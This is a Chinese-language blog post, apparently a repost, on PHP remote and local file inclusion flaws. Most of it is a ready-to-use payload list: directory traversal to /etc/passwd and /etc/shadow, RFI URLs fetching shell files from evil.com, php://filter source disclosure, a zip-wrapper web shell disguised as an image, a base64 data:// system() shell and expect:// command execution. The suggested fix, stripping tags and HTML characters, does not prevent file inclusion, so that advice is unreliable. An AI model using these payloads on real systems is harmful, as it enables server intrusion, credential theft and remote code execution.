远程/本地文件包含漏洞示例:RFI/LFI Payload List
- 发表于
- 周边
远程/本地文件包含漏洞示例
与许多漏洞利用一样,远程和本地文件包含只是编程问题。本文提供文件包含漏洞攻击的PHP示例,希望能帮助您避免这些漏洞。
RFI / LFI漏洞形成片段
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>
显然不应该使用它。$page是隐患。$page输入直接定向到网页,这是一个很大的“问题”。始终删除通过浏览器传递的所有输入。当用户在访问网页时单击“Files”以访问“ files.php”时,将跳转
http: //localhost/index.php? page = files.php
现在,我们可以利用$ page变量中的输入让它指向我们想要的内容。如果托管在Unix / Linux服务器上,我们可以将密码显示为配置文件
在服务器上查看文件是一种“本地文件包含”或LFI利用。这并不比RFI漏洞更糟。
http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd
该代码可能会返回到/ etc / passwd。现在,让我们看一下此漏洞利用的RFI方面。
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>
现在假设我们写的是……
http: //localhost/index.php? page = http: //google.com/
我们得到了google.com主页。这是可能受到攻击的地方。我们都知道c99(shell)可以做什么,并且如果编码人员注意的话,它们可能会包含在页面中。让我们看一下RFI更简单的技巧。创建一个名为“ test.php”的文件,并将以下代码放入其中并保存。
<? Php
passthru ($ _ GET [cmd]);
?>
现在,您可以利用此文件,将其包含在具有RFI利用功能的页面上。PHP中的passthru()命令非常邪恶,许多主机将其称为“出于安全原因而禁用”。使用test.php中的这段代码,我们可以向网页发送请求,包括文件包含漏洞利用。
http: //localhost/index.php? page = http: //someevilhost.com/test.php
当代码发出$ _GET请求时,我们必须提供一个传递给passthru()的命令。我们可以做这样的事情。
http: //localhost/index.php? page = http: //someevilhost.com/test.php? cmd = cat / etc / passwd
该unix机器还将使用cat命令提取文件/ etc / passwd。现在我们知道了如何利用RFI漏洞,我们需要知道如何持有它并使任何人都无法执行该命令,以及如何在服务器上包含远程页面。首先,我们可以禁用passthru()。现在,我们不仅可以将变量直接传递给页面,还可以在函数中使用一些PHP建议的结构。最初,perl的chop()适应了PHP,该PHP从数组中删除了空格。我们可以这样使用它。
<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = chop ($ _ GET [page]);
include ($ page);
?>
有许多功能可以清除字符串。htmlspecialchars()htmlentities(),stripslashes()等。在混乱方面,我更喜欢使用自己的功能。我们可以使用PHP编写一个可以为您清除所有内容的函数,比如
<? Php
function cleanAll ($ input) {
$ input = strip_tags ($ input);
$ input = htmlspecialchars ($ input);
return ($ input);
}
?>
基本LFI(空字节,双重编码和其他技巧):
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
更多文件读取
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
基本RFI(空字节,双重编码和其他技巧):
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
LFI / RFI变形利用:
LFI利用rot13和base64-php:// filter不区分大小写。
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
LFI 变形利用 ZIP :
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
RFI 变形利用 DATA “” payload :
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
RFI 变形利用 EXPECT :
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
RFI/LFI 中XSS “” payload :
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
LFI 和 RCE 的上传 :
http://example.com/index.php?page=path/to/uploaded/file.png
原文连接
的情况下转载,若非则不得使用我方内容。